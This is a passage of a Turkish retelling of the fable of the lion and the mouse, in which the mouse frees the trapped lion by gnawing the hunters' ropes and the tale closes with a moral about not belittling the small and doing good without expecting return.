-Sen küçücük bir faresin, bana ne iyiliğin dokunacak ki diyerek mırıldanmış, ama fareye acımış ve fareye zarar vermeden bırakmıl.
Fare sevinerek oradan uzaklaşıp ayrılmış.
Gel zaman git zaman aradan zaman geçmiş, Aslan bir gün avcıların kurduğu tuzağa yakalanmış mı, çırpınıp duruyormuş.
Aslan çırpınmış, bağırmış ama tuzaktan bir türlü kurtulamamış. Oradan geçmekte olan minik fare aslanın bu durumunu görmüş. Hemen dişleri ile tuzağın iplerini kemirerek kesmiş. Aslanı tuzaktan kurtarmış, aslan özgür kalıvermiş.
Fare aslana:
– “Beni küçük diye beğenmiyordun ammaa bak gördün mü senin canını kurtarmış oldum”, demiş.
Aslan, böylece yapılan bir iyiliğin karşılıksız kalmayacağını anlamış. Ne demişler iyilik yap denize at.
Bu masalımızdan da böbürlenip küçük görmemeyi, tahmin edilemeyecek özelliklerin vasat görünen kişilerde olabileceği ve bu kişilere muhtaç olunabileceğini kulağımıza küpe etmek gerektiğini öğrenebiliriz.